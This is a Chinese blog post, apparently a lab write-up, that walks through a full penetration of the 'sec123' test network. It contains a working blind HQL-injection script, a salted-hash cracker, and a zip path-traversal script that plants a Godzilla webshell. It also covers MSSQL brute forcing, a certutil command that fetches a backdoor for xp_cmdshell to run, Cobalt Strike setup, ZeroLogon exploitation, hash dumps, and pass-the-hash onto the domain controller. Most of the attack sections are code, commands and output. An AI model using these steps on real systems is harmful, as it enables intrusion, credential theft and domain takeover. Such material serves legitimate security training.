渗透测试sec123笔记

news2024/10/7 8:20:52

1.外网打点

1.1端口探测

└─$ sudo masscan 192.168.1.103 -p 1-65535 --rate=100        

masscan扫描结果

在这里插入图片描述

└─$ nmap -sV 192.168.1.103 -sC -p 8088,5985,49154,49173,80,8878,47001,7000,49153,49157,3389,49155,49152,8899,49161 -oN sec-ports                                            

nmap扫描结果

在这里插入图片描述

1.2网站类型

网址类型
http://192.168.1.103:8878/网上银行系统
http://192.168.1.103:8899/jspxcms
http://192.168.1.103:8088/login.jsptomexam网络考试系统

1.3网上银行系统漏洞

经过一段时间收集发现 https://github.com/amateur-RD/netBank-System 是这套源码

在这里插入图片描述

1.4网上银行系统Hsql注入漏洞

admin' or '1'='1 密码不正确
admin' or '1'='2 用户名不存在

返回的信息不一样证明存在SQL注入,但是Hibernate4的注入sqlmap检测不到

sqlmap -r sql.txt --dbms mysql -v 1

在这里插入图片描述

编写HQL注入exp

#coding:utf-8
import requests
password=""
url="http://192.168.1.103:8878/admin/login"
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
	for j in payload:
		exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'or '1'='" %(i,j)
		print("正在注入")
		data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
		req = requests.post(url=url, data=data);
		if "密码不正确" in req.text:
			password+=j
			print(password)
			break
print(password)

得到账号 adminsec123 mysql的账号是root@localhost

但是网站登录后无法进行getshell 也无法进行跨库查询。

1.5 tomexam SQL注入漏洞

注册登录发现SQL注入漏洞

在这里插入图片描述

GET /page.do?action=comm_news&act=list&classid=2 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: _jspxcms=3c0464143ffd413693c66eb892f058a4; JSESSIONID=7025E8EAF42950A9C188B601DC616B83
Host: 192.168.1.103:8088
Referer: http://192.168.1.103:8088/page.do?action=comm_news&act=catelist
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

在这里插入图片描述

管理员密码

---------------------+------------+
| id | roleid | mobi       | remark     | status | realname | username | userpass                               | lastlogin           | logintimes |

| 1  | 1      | 1399999999 | 超级管理员 | 1      | admin    | admin    | 17D03DA6474CE8BEB13B01E79F789E63       | 2022-04-09 00:14:08 | 301        |
| 6  | 2      | <blank>    | <blank>    | 1      | eu3      | eu3      | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14         |


解密的到密码 moonsec123 登录后台无法getshell

admin管理员密码hash51c52ae56562d8c538600385909595b009467f0b

salt 9b2b38ad7cb62fd9

1.6编写jspxcms密文加密脚本进行破解

获取的明文是不能直接解密的 jspxcms 登录是sha1(‘明文’,salt)加密

package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;

import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;


public class Testmain {
    public static void main(String[] args)throws Exception {
        byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
        SHA1CredentialsDigest test = new SHA1CredentialsDigest();
        String fileName = "D:\\csdnpass.txt";
        String fileName2 = "D:\\hashpassword2.txt";
        try (Scanner sc = new Scanner(new FileReader(fileName))) {
            while (sc.hasNextLine()) {
                String line = sc.nextLine();
                String encPass = test.digest(line, salt);
                File f = new File(fileName2);
                FileWriter fw = new FileWriter(f, true);
                PrintWriter pw = new PrintWriter(fw);
                pw.println(line + " " + encPass);
                pw.close();
            }

        }
    }
}

经过半个小时的生成的密文 再进行明文查找

在这里插入图片描述

1.7登录jspxcms后台getshell

使用哥斯拉生成一个god.jsp 然后打包成war

jar -cf shell.war shell.jsp

制作目录穿越脚本

将war包打包成zip

import zipfile
zip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)
with open("shell.war","rb") as f:
data=f.read();
zip.writestr("../../../shell.war",data)
zip.close()

这个漏洞在文件管理的压缩包上传功能,上传的压缩包会被自动解压,如果我们在压缩包中放入 war 包并配合解压后目录穿越 war 包就会被移动到 tomcat 的 webapps 目录,而 tomcat 会自动解压 war 包。

http://192.168.1.104:8899/shell/shell.jsp

使用哥斯拉进行连接 至此可以获取一个webshell的权限了。

在这里插入图片描述

2.内网渗透

2.1配置内网cobalt strike内网上线

因为测试者本身处于内网,cobalt stike也在于内网 所以首先让后门能够内网上线。 需要一台外网的vps做frp 反向代理出去。

外网 vps frps.ini

[common]
bind_port = 7000
token=

kali frpc.ini

[common]
server_addr = 
server_port = 7000
token = 
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6666
[cs]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 7777
[socks_proxy]
type = tcp
remote_port = 8888
plugin = socks5

启动teamsever

sudo nohup ./teamserver 192.168.10.91 zzxx123 &

生成后门上传到目标上执行即可上线。

在这里插入图片描述

2.2内网横行信息收集

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::f1fe:e32:5944:82dd%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.1.104
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.1.1

隧道适配器 isatap.{D02EA99E-C14F-411C-A395-09FC95D7BBF7}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

cobalt stike开启代理与nmap端口探测

使用cs的端口扫描是非常缓慢的,如果还需要对端口进行探测最好在cs上开启代理,再设置 proxychains4代理nmap进行内网扫描 beacon上执行命令 socks 端口 再编辑 kali上的 /etc/proxychains4.conf文件

sudo vi /etc/proxychains4.conf
socks4 127.0.0.1 1234

nmap端口扫描结果

oxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-13 15:53 CST
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:8080 <--denied
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:3306 <--denied
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:53 <--denied
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:80 <--denied
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:5900 <--denied
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:1433  ...  OK
Nmap scan report for 192.168.1.106
Host is up (0.81s latency).
Not shown: 5 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 5.74 seconds

2.3hydra对内网进行弱口令穷举

proxychains4 hydra -l sa -P /home/kali/Desktop/top10000/top10000.txt
192.168.1.104 mssql -vV -f

密码是admin123

在这里插入图片描述

2.4mssqlclient 登录执行命令

使用impacket的mssql脚本执行sql

└─$ proxychains4 python3 mssqlclient.py sa@192.168.1.106                                   
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.1.106:1433  ...  OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: 简体中文
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SERVER2012): Line 1: 已将数据库上下文更改为 'master'。
[*] INFO(SERVER2012): Line 1: 已将语言设置更改为 简体中文。
[*] ACK: Result: 1 - Microsoft SQL Server (110 1256) 
[!] Press help for extra shell commands
SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL> xp_cmdshell ipconfig
[-] ERROR(SERVER2012): Line 1: SQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。
SQL> enable_xp_cmdshell ipconfig
[*] INFO(SERVER2012): Line 185: 配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
[*] INFO(SERVER2012): Line 185: 配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
SQL> enable_xp_cmdshell
[*] INFO(SERVER2012): Line 185: 配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
[*] INFO(SERVER2012): Line 185: 配置选项 'xp_cmdshell' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
SQL> xp_cmdshell whoami
output                                                                             

--------------------------------------------------------------------------------   

nt service\mssqlserver                                                             

NULL                                                                               

SQL> 

下载后门执行上线

xp_cmdshell certutil -urlcache -split -f http://192.168.1.105/artifact.exe c:/windows/temp/artifact.exe

在这里插入图片描述

2.5SweetPotato (ms16-075)提权winserver2012

cobalt strike 可以加载cna脚本,可以加载ms16-075提权模块直接进行提权即可

在这里插入图片描述

3.内网域渗透

3.1内网域信息收集

针对server2012进行信息收集 包括ip 登录凭据 端口 网络连接等。

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbb228c4d6ceeea0590a5e4a45b1572c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 105057 bytes
[+] received output:
List of hosts:


beacon> dclist
[-] Unknown command: dclist
[+] received output:
 Server Name             IP Address                       Platform  Version  Type   Comment
 -----------             ----------                       --------  -------  ----   -------
 AD01                    10.10.10.139                     500       6.3      PDC    

发现进程也存在域普通用户 注入进程得到sec123/cnk用户权限

在这里插入图片描述

3.2ZeroLogon CVE-2020-1472 获取域控权限

下载 https://github.com/leitosama/SharpZeroLogon 进行编译执行 测试存在该漏洞

execute-assembly SharpZeroLogon.exe ad01.sec123.cnk

在这里插入图片描述

存在漏洞

设置空密码 execute-assembly SharpZeroLogon.exe ad01.sec123.cnk -reset

在这里插入图片描述

可以看到可以利用,接着开启server2012的代理 再设置/etc/proxychanis.conf

 proxychains4 python3 secretsdump.py sec123/ad01\$@10.10.10.139 -no-pass

在这里插入图片描述

登录域控

proxychains4 python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74
sec123/Administrator@10.10.10.139

在这里插入图片描述

恢复密码

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
└─$ python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x90d082745f23bf8bf112436c5151e4b9
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550
f74:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:45a41d3ab246daf294a9f18efeefeeebb46700a21c7fd44d
17a0cf95820a066f6c2b39e262c7d79ac5b72ef62ae6e1494512dfba8ee546af5273d918d5e8d718
6e91610853ed8bcf33b42e72a122409e0d5624878c35eaa3b8770f17a4070f275550b128da7e9282
263f7daf24431ccfd9c99a11f97e39b2616389f5e6ea7284b813c9044a7ca9dc188b6561217f5ea0
f002d9bb8565f1ce6c52efe74a8e046056d114bd370c9fcc423f355e2ba3a31b2b2ac90193b736aa
637d2f2658bd77b83c93c3bd7b388cabf57c4c689983b147ed3ce6d5525d9a340ff16ac643f2345a
0b61ff413ca3b22c4435b9e2ef6e222f
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:fb61e3c372e666adccb7a820aa39772f
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0xe4a25599b82bb4affe042d3e965732e9d713843b
dpapi_userkey:0x5d1f6395a0675b4ddf58beccab052ffb76c129a5
[*] NL$KM
0000 BF 65 2F BF 4E 6F F9 BC 00 8F 85 A0 C4 32 A4 24 .e/.No.......2.$
0010 FD 80 E6 F6 8C 98 5F DF 5F 84 6C 97 6A 26 D5 87 ......_._.l.j&..
0020 BE 9A 5C 5B 68 2D C7 79 A0 27 B0 B1 DB 50 33 D1 ..\[h-.y.'...P3.
0030 75 39 65 EF C2 05 58 7C E0 98 70 5A ED DD FF F4 u9e...X|..pZ....
NL$KM:bf652fbf4e6ff9bc008f85a0c432a424fd80e6f68c985fdf5f846c976a26d587be9a5c5b68
2dc779a027b0b1db5033d1753965efc205587ce098705aedddfff4
proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139
fb61e3c372e666adccb7a820aa39772f

3.3cobalt stike获取域控权限

关闭防火墙

netsh advfirewall set allprofiles state off #关闭防火墙
netsh advfirewall show allprofiles #查看防火墙状态

在cs生成正向bing_tcp监听器

pth sec123\administrator 81220c729f6ccb63d782a77007550f74
jump psexec64 10.10.10.139 zzz

cs上线域控

在这里插入图片描述

在这里插入图片描述

忘掉生日,忘掉青涩的诗,忘掉他不厌其烦夜夜追逐他影子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

开发转测试:从零开始的6年自动化之路,太迷茫...

自动化初识 作为一个测试人&#xff0c;我们或多或少都听过或用过自动化&#xff0c;我们都曾在初入测试行业时&#xff0c;满怀期待的以为测试的尽头是不用测试员点点了&#xff0c;项目一提测&#xff0c;小手点下自动化的开关&#xff0c;瞬间测试的工作就完成了。 这就是…

4-Arm PEG-Biotin,4-Arm peg-Biotin,四臂-聚乙二醇-生物素科研试剂供应

一&#xff1a;产品描述 1、名称 英文&#xff1a;4-Arm PEG-Biotin&#xff0c;4-Arm peg-Biotin 中文&#xff1a;四臂-聚乙二醇-生物素 2、CAS编号&#xff1a;N/A 3、所属分类&#xff1a;Biotin PEG Multi-arm PEGs 4、分子量&#xff1a;可定制&#xff0c;四臂-PE…

BundleTrack自用配置笔记

0、下载代码 git clone https://github.com/wenbowen123/BundleTrack.git 或者选择Download ZIP 1、按照Ubuntu版本安装docker 查看docker版本 $ docker version 在1080显卡上测试时出现bug&#xff0c;找到一个解决的文章&#xff0c;本人适用 docker: Error response…

微信小程序模板与配置

文章目录1. 数据绑定2. 事件绑定3. 事件传参4. 网络请求1. 数据绑定 在data中定义数据&#xff1a;在页面对应的js文件中&#xff0c;把数据定义到data对象中即可 // index.js Page({// string 类型info:init data,// 数组 类型msgList:[{msg:hello},{msg:world}] })在WXML中使…

测试人员面试需要掌握的内容,软件测试面试题答案

1、在公司的测试流程是什么&#xff1f; 产品经理确认本次版本的需求&#xff0c;召开需求评审会&#xff0c;进行估时排期&#xff0c;需求和时间都确定之后&#xff0c;UI出设计图&#xff0c;开发人员进行开发&#xff0c;测试人员编写测试用例&#xff0c;召开用例评审会议…

12.13

AJAX 视频 1-11 1.1 AJAX 简介 AJAX 全称为 Asynchronous JavaScript And XML&#xff0c;就是异步的 JS 和 XML。 通过 AJAX 可以在浏览器中向服务器发送异步请求&#xff0c;最大的优势&#xff1a;无刷新获取数据。 AJAX 不是新的编程语言&#xff0c;而是一种将现有…

909. 蛇梯棋-广度优先遍历

909. 蛇梯棋-广度优先遍历 给你一个大小为 n x n 的整数矩阵 board &#xff0c;方格按从 1 到 n2 编号&#xff0c;编号遵循 转行交替方式 &#xff0c;从左下角开始 &#xff08;即&#xff0c;从 board[n - 1][0] 开始&#xff09;每一行交替方向。 玩家从棋盘上的方格 1 …

高压开关电源3D PCB绘制教程:SOLIDWORKS绘制瓷片电容教程

本教程配有配套视频教程&#xff0c;读者可以配合配套的视频教程学习&#xff0c;下载本课的对应课件和源文件&#xff0c;更多课程及材料&#xff0c;敬请关注凡亿教育&#xff1a;《高压开关电源3D PCB绘制教程》。绘制指导&#xff1a;家介绍瓷片电容的绘制方法&#xff0c;…

ICML2018 | PixelSNAIL+:An Improved Autoregressive Generative Model

论文链接&#xff1a;PixelSNAIL: An Improved Autoregressive Generative Model 论文标题&#xff1a;PixelSNAIL: An Improved Autoregressive Generative Model 代码&#xff1a;GitHub - neocxi/pixelsnail-public GitHub - neocxi/pixelsnail-public 一、问题提出 高…

程序人生:25岁我从零基础转到软件测试,我看到了前途...目前28K

推荐好文&#xff1a; [内部资源] 想拿年薪30W的软件测试人员&#xff0c;这份资料必须领取~ Python自动化测试全栈性能测试全栈&#xff0c;挑战年薪40W 没有一个人的人生&#xff0c;能够按照自己写好的脚本去走。从一而终是幸运的&#xff0c;但也是不幸的&#xff0c;因…

1568_AURIX_TC275_电源管理_唤醒配置与状态

全部学习汇总&#xff1a; GreyZhang/g_TC275: happy hacking for TC275! (github.com) 如果有待机RAM保持的功能激活了&#xff0c;那么唤醒以及复位都不会进行RAM的重新初始化。 PORST相关的滤波开了之后&#xff0c;可以抵抗500ns的尖峰脉冲干扰。 CPU不仅可以请求自我进入i…

代码随想录刷题记录 day43 股票买卖的最佳时机1 2

代码随想录刷题记录 day43 股票买卖的最佳时机1 2 参考&#xff1a;代码随想录 121. 买卖股票的最佳时机 思想 dp数组定义 dp[i][0]表示 第i天 持有股票 手头的最大的现金数为dp[i][0] dp[i][1]表示 第i天 不持有股票 手头的最大的现金数为dp[i][1] 递推公式 dp[i][0] dp[i-…

2004-2020年全国31省环境规制强度

2004-2020年全国各省环境规制强度 1、时间区间为2004-2020年 2、范围&#xff1a;包括全国31个省份 3、缺失情况&#xff1a;西藏存在部分年份缺失&#xff0c;其他省份无缺失 4、指标包括&#xff1a; 工业污染治理完成投资(万元)、第二产业增加值(亿元)、环境规制强度 …

vue父子组件之间的传值,及互相调用父子组件之间的方法

场景&#xff1a;记录下父子组件之间的传值方法&#xff0c;以及调用他们的内部的方法 *** 父组件给子组件传值是通过属性绑定的方法 *** 子组件给父组件传值是通过绑定对应的方法将自身的值传递给父组件 当然&#xff0c;我这只是说了一种传参方式&#xff0c;也包含通过vuex的…

Spring Boot基于FreeMarker发送模板邮件(带附件)

目录一、背景二、maven依赖三、编码实现3.1、邮件对象3.2、服务层3.2.1、抄送人3.2.2、嵌入式资源3.2.3、附件3.3、邮件模板3.3.1、模板引擎3.4、配置文件四、测试4.1、发送简单邮件4.2、发送复杂邮件4.3、效果图一、背景 邮件在工作中中经常被用到&#xff0c;场景非常的广泛&…

高分子PEG:8Arm PEG-DBCO,八臂聚乙二醇环辛炔 MV1K 2K 3.4K 5K

【中文名称】八臂聚乙二醇环辛炔 【英文名称】 8Arm PEG-DBCO&#xff0c;DBCO PEG 8Arm 【结 构 式】 【CAS号】N/A 【分子量】1000&#xff0c;2000&#xff0c;3400&#xff0c;5000&#xff0c;10000&#xff0c;20000 【基团部分】DBCO 【纯度标准】95% 【包装规格】1g&…

【Lilishop商城】No3-8.模块详细设计,订单模块-2(订单)的详细设计

仅涉及后端&#xff0c;全部目录看顶部专栏&#xff0c;代码、文档、接口路径在&#xff1a; 【Lilishop商城】记录一下B2B2C商城系统学习笔记~_清晨敲代码的博客-CSDN博客 全篇会结合业务介绍重点设计逻辑&#xff0c;其中重点包括接口类、业务类&#xff0c;具体的结合源代…

ssm+Vue计算机毕业设计校园社团管理系统(程序+LW文档)

ssmVue计算机毕业设计校园社团管理系统&#xff08;程序LW文档&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技…

Android入门第46天-使用BroadCast来模拟异地登录事件发生后的主动退出另一个设备重登录

简介 随着对BroadCast的越来越深入&#xff0c;我们今天要实现一个稍微复杂一点的BroadCast。即我们常用来有时APP打开时如果多个设备同时登录一个帐号&#xff0c;而我们只允许一个设备登录一个帐号时&#xff0c;此时我们的APP会弹一个对话框如&#xff1a;您的账号在别处登…

结合面试详细分析 HashMap 源码

个人文档站点&#xff1a;小熊学Java 1、底层结构 相信大家都已经听过很多了&#xff0c;这里就不多阐述了&#xff0c;至于什么时候是数组&#xff0c;什么时候会变成链表&#xff0c;后续会讲解&#xff0c;别急&#xff01; JDK版本数据结构JDK1.7数组链表JDK1.8数组 &…